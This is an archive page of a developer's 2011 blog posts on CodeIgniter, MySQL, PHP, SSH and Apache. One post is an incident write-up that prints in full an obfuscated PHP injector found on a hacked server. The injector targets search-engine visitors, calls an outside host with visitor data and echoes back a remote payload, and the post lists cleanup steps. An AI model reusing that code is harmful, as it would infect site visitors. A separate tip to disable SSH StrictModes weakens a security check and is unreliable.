Chris Nizzardini, Salt Lake City Utah, Web Developer Specializing in LAMP+Ajax Since 2006

My Blog

Here is my awesome blog. You can find information on programming, linux, documentation, tips for code and database optimization, my thoughts and rants, and whatever else I feel like sharing. Feel free to contribute to the blog by posting comments and asking questions.

Archive for 2011

Working Around CodeIgniters Default Session Library

Posted by chris on November 12th, 2011 Comments (4)

Recently I was attempting to test a web application using BrowserCam. BrowserCam has a bank of virtual machines on different versions of many platforms including Apple OSX, Linux Fedora, and Windows. While attempting to regression test in older versions of IE I noticed I absolutely could not log in to my application. This only occured on BrowserCam. After testing other CI based sites over BrowserCam I eventually narrowed it down to CodeIgniters session library. The session library that ships with CI does not use the native PHP session based files. It instead stores everything in an encrypted cookie. I think this is bad for two reasons: One, it goes against a PHP developers conventional wisdom of how sessions are handled and two, cookies have a storage limitation.

After poking around for some solutions I determined everything out there would cause me to have to change a lot of code. I needed a drop in replacement that would cause me minimal changes. I wrote the following library called Trusession. You simply drop it into your application/libraries folder and do some simple find and replaces. Trusession has most of the same method names, parameters, and return values as CodeIgniters native session library so your application should start working again out of the box except it will now be using PHPs file based sessions. There are a few of the public methods that I did not implement, calling these will result in an exception telling you that it has not been implemented and will give you a stack trace. These can easily be implemented by reverse engineering the CI Session library.
Read the rest of this entry »

In Programming (, , , , , , )

MySQL Optimization Tip: Checking for Differences in Queries.

Posted by chris on November 2nd, 2011 Comments(0)

I’ve been going through the MySQL slow query log at my new job to optimize our applications performance. It’s a bit more scary making changes when you’re the “new guy” because there are a lot of “gotchas” you haven’t quite figured out in the new platform. Well one of the queries that I wanted to optimize lead me to get rid of some needless LEFT JOINS and trim down the amount of fields returned in the result set. Aside from testing the application as a whole after making my modification I needed a fast way to verify the exact same data was being returned for all 50,000 rows. One option was to append each field to a string and then convert that into an MD5 hash for each variation of the query. That seemed half assed too me so I decided to export the results to a CSV file then run a diff against the two from the linux shell. Read the rest of this entry »

In SQL (, , )

Inheritance in CodeIgniter: Adding More Functionality To Your Models

Posted by chris on October 28th, 2011 Comments(0)

I recently blogged on Reducing Code using CodeIgniters Active Record Class. In this blog I focus on easily collecting data from your object members using get_object_vars(). After using this for a while I found that unsetting certain members prior to an insert/update became rather annoying. I’ve been knee deep in Code Igniter for the past 6 months (and CakePHP at my new job) so I decided to take what I’ve learned and create me own parent model class.

Code Igniter allows you to create your own parent Controllers and Models. This is a great way of extending core functionality into child models via inheritance. The CodeIgniter documentation covers this in Creating Core System Classes so I won’t go into that process too much. Instead I’ll focus on what I’ve done and how it speeds up programming by:

  • Reducing boiler plate CRUD code.
  • Handling basic data validation.
  • Leveraging InnoDB to automatically join tables. (I’m saving this one for another blog)
Read the rest of this entry »
In Programming (, , , , )

Unscientific Benchmarking of Type Casting, is_numeric, and regex in PHP

Posted by chris on October 5th, 2011 Comments(0)

I performed some unscientific PHP benchmarks today pitting casting to an integer against is_numeric against preg_replace. The point was to see which is the fastest way of quickly cleaning user input before passing to a SQL query to prevent against SQL injection. Obviously this would only work on database fields that are integers. To be fair I should’ve benchmarked mysql_real_escape_string in the same way, but I’m sure its a loser in this test. The test is run in a for loop 100,000 times. None of the code being used here is very expensive to begin with — but here we go:

Casting to (INT)

0.017745018005371

Using is_numeric()

0.028823852539062

Using preg_replace()

0.087189197540283

        $start = microtime(true);
        /*for($i=0;$i<100000;$i++){
                $v = (INT) "$i";
        }*/
        /*for($i=0;$i<100000;$i++){
                is_numeric("$i");
        }*/
        for($i=0;$i<100000;$i++){
                preg_replace('/\D/','',"$i");
        }
        $end = microtime(true);
 
        echo "\nTime: ".($end-$start)."\n";
In Programming (, , , , , , , , )

Reducing Code using CodeIgniters Active Record Class

Posted by chris on September 3rd, 2011 Comments (2)

UPDATE Nov. 9, 2011: I have begun moving away from using this in my code. I am now using a core Model class that is extended by other models that takes care of stuff like this. Please read Inheritance in CodeIgniter: Adding More Functionality To Your Models for more information. While this is still an okay solution it becomes a bitch to remember to unset variables as your classes grow.

This is a quick blog post on some stuff I’ve discovered using CodeIgniters Active Record Class. I’ve found two ways to reduce the amount of code I’m writing.

Simplifying Inserts and Updates:

Since I am new to CodeIgniter I began writing my insert and update statements as follows:

$data = array(
    'tech_id' => $this->tech_id,
    'note_date' => date('Y-m-d'),
    'tech_note' => $this->tech_note,
    'year' => $this->year,
    'model_id' => $this->model_id,
    'is_global' => $this->is_global,
    'auto_glass_part_type_id' => NULL
);
$this->db->insert('tbl_something',$data);

I knew this was bad cause I was doing a bunch of CRUD code that was taking my time away from REAL programming. If you’re using good OOP design patterns you can simplify this:

$data = get_object_vars($this);
$this->db->insert('tbl_something',$data);

Anything that you don’t want included in the insert/update can simply be unset() from the $data array.

Make Query Methods a Swiss Army Knife

Another problem I had in my code I was using multiple methods in model that were doing database calls. These methods were all selecting the same data, they just had different WHERE parameters. So if you have the following code:

public function getAll(){
  $this->db->select('tbl_lead.*, disposition, auto_make.make as make, auto_model.model as model');
  $this->db->where('tbl_lead.shop_id',$this->session->userdata('shop_id'));
  return $this->db->get($this->table_name);
}

You can simplify it as follows:

public function getAll($dbObj=''){
  $this->db->select('tbl_lead.*, disposition, auto_make.make as make, auto_model.model as model');
  if(is_object($dbObj)){
      $this->db = $dbObj;
  }
  return $this->db->get($this->table_name);
}

Now we have a single method that returns everything you need, but gives you the option of passing custom WHERE parameters.

In Programming (, )

Evil Hackers from Outerspace

Posted by chris on August 23rd, 2011 Comments (4)

Been having fun since Friday dealing with a compromised server. Somehow an infiltrator loaded two files onto the server in question. One in an OS Commerce directory (very out of date installation) and the other into the root of a Word Press 2.9 install. The malicious code would then phone home to a recently registered domains named jsonapplet.com and bxubwsxj.co.tv. Presumably some sort of virus/trojan was installed on the end-users computer from this domain. Each of these domains just had the default Apache install screen when you went to the index page, but nested in other pages in the server was where the payload was.

Noticing that jsonapplet.com seemed a bit weird (the .TV had not been discovered at this point) we dug in finding that it had just been recently registered to a company in China known for this sort of thing. Whether the company is actually based in China is unknown, but it still served to raise suspicions further.

The PHP script was crafty in that it would only write the malicious javascript to the document if the user had come in from a search engine. This made finding the exploit hard since we were visiting the pages directly (no HTTP REFERRER was set). Furthermore most online scanners would not find the exploit. The only one that reported it was unmaskparasites.com, but even that scanner said it was NOT suspicious. Googles online scanner (even though Google Adwords originally notified the company) and McAffee Scan Alert did not find this exploit either.

Here is the script:

if(empty($_COOKIE["7c6dc"])&amp;&amp; @preg_match("#google|ask|yahoo|baidu|youtube|wiki|qq|go|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|crawler|mail|bing|dogpile|facebook|twitter|live|space|linkedin|flickr|peeplo#is",$_SERVER["HTTP_REFERER"])){@setcookie("7c6dc","1",time()+60*60*24*30,");
        echo '<script type="text/javascript">// <![CDATA[
  document.cookie="7c6dc="+escape("'.time().".".rand(1111111,9999999).'")+"; expires='.date("D, j M Y 00:00:00", time()+60*60*24*30)."; path=/\";
// ]]></script>";
$d=array("HTTP_ACCEPT_CHARSET","HTTP_ACCEPT_LANGUAGE","HTTP_REFERER","REMOTE_ADDR","REQUEST_URI","REQUEST_METHOD","SCRIPT_FILENAME");foreach($d as $v)$t[]=$_SERVER[$v];
$a=strrev('ed'.'oc'.'ne_46e'.''.'sab');$b=strrev('edo'.'ced'.'_46e'.''.'sab');$u=$b("aHR0cDovL2J4dWJ3c3hqLmNvLnR2L2I5MDk/aT0=").$_SERVER["REMOTE_ADDR"]."&amp;r=http:/.$_SERVER["HTTP_HOST"]."&amp;u=".$_SERVER["HTTP_USER_AGENT"]."&amp;d=".$a(serialize($t));@$fn=file_get_contents($u);
if(!$fn||strlen($fn)4){list($crc,$enc)=explode("::",$fn);if(md5($enc)==$crc)echo $b($enc);}}if(isset($_GET["7c6dc"]))echo "7c6dc";

Though somewhat obfuscated a simple grep of the server for document.cookie would have quickly found this. Unfortunately initial greps were looking for things like eval and document.write instead. There are few reports on what the payload actually does from Anubis and Sucuri.

Steps taken :

1. Disabled all SSH access and created new accounts.

2. Checked to see who else was logged into the server using the who command. If anyone had been found those accounts would have been killed.

3. Removed the exploited files.

4. Changed SSH account passwords again.

5. Patched affected and non-affected software throughout the system.

I also contacted leaseweb.com informing them about the account. Contacted unmaskparasites.com as a thanks and to hopefully give them some hints on improving their scanner. Finally at the urging of a fellow developer I wrote this blog to hopefully create some awareness about this exploit.

In Rant (, , , , )

Key Based SSH Authentication on CentOS Linux

Posted by chris on August 17th, 2011 Comments(0)

I wanted to create a shell script that will automatically grab a database backup from our backup server via rsync to a local server so we can have relatively recent copies of our database stored locally for running intensive reports against. This is a stopgap solution until we setup a reporting server in our datacenter. The first step to doing this was setting up key based authentication over SSH (so I can do this via cron). There are lots of tutorials on this and the process is pretty simple, but I did run into one little hitch on our CentOS server that I want to document here.

The setting I had to change was StrictMode No.

StrictModes
Specifies whether sshd should check file modes and ownership of the user’s files and home directory before accepting login. This is normally desirable because novices sometimes accidentally leave their directory or files world-writable. The default is “yes”.

Beyond that following tutorials like this one and finally this one (where I discovered the StrictMode hint) make the process straight-forward. Some of the tutorials you will find are not entirely clear on the point that if you are connecting from foo@client to foo@server then the user foo must exist on both hosts (the client and server). I assumed this, but thought it was strange that this was not explicitly mentioned in the tutorials.

Another item that is not explained in any of the tutorials I found is the difference between RSA and DSA. RSA, short for Rivest, Shamir, and Adelman (the folks who created the algorithm back in the mid to late 1980s) is an aglorithm for encrypting data as well as signing it. DSA, short for Digital Signature Algorithm, is used for signing only.

So do you use DSA or RSA? Since we are only using this for signing and verification it appears that it does not matter which one you use. I have read there are nominal speed differences between the two. I used DSA for this project.

In Linux (, , , , , )

Lessons Learned as a Developer

Posted by chris on August 1st, 2011 Comments (4)

There are a few things I’ve had to learn the hard way over the years as a developer. In 2006 I was working as a Network Admin and decided to start programming in my free time. In 2007 I took a job working for an e-commerce company and really cut my teeth fast diving head first into a fairly complex LAMP environment. In 2010 I switched jobs for another e-commerce and again had to relearn some of the same lessons. I’m writing this blog more for myself, but its certainly a worthy read for novice, intermediate, and maybe even some jaded senior level programmers. Read the rest of this entry »

In Rant (, , )

Custom Apache Logs in Centos Linux

Posted by chris on May 17th, 2011 Comments(0)

You can create custom Apache logs to log only the data you need. By default Apache installations will use the combined log for logging to logs/access_log. This combined format is very long giving you the remote host, date and time, referer, user agent, and other information. I am working on something where I only care about a time, process identifier, file, and requested URL. To do this go into your httpd.conf file and add the following Log Format:

LogFormat "%P %t %f %U" piddy

I don’t want this log to contain any information on image requests, javascript, or CSS. I only want to log requests for PHP and HTML files. To do this add the following to httpd.conf:

SetEnvIf Request_URI ".(jpg|jpeg|png|css|gif|ico|js)$" dontlog

Now to use your log add the following to httpd.conf:

CustomLog logs/piddy_log piddy env=!dontlog

You will need to reload Apache (restart is not required), but before reloading your configurations use sudo apachectl configtest to verify your configurations are good. It will return Syntax OK if it finds your config to be good, otherwise it will return an error message a long with a line number.

Now we have a our custom log:

22141 [17/May/2011:14:14:52 -0600] /var/www/html/change_billing_address_checkout.php /change_billing_address_checkout.php
22194 [17/May/2011:14:14:52 -0600] /var/www/html/change_billing_address_checkout.php /change_billing_address_checkout.php
22317 [17/May/2011:14:14:52 -0600] /var/www/html/shopping_cart.php /shopping_cart.php
22173 [17/May/2011:14:14:52 -0600] /var/www/html/404.php /404.php
22171 [17/May/2011:14:14:52 -0600] /var/www/html/model.xml /model.xml
22322 [17/May/2011:14:14:52 -0600] /var/www/html/404.php /404.php
In Linux (, , , , )

Adding Linux Binary Paths to bash_profile in Centos

Posted by chris on April 21st, 2011 Comment(1)

I’m not sure why these paths aren’t in Centos by default and I certainly don’t profess to be a Linux expert. The best guess I can take is these are not where binary executables should go by default so thats why they are not put in by Centos or Red Hat. Actually that doesn’t make sense because service and chkconfig have been in Centos/Red Hat for a while now. Anyways, I get tired of typing in a full path to execute something like ntpudate, service, or chkconfig. Here’s how to avoid needing to do that:

sudo echo 'export PATH=$PATH:/usr/sbin' >> $HOME/.bash_profile
sudo echo 'export PATH=$PATH:/sbin' >> $HOME/.bash_profile

The path to the executable just follows PATH=$PATH: this will prevent you from needing to type something like /sbin/service rather than just simply service in the future. You will need to re-login for the changes to take hold.

In Linux (, , , )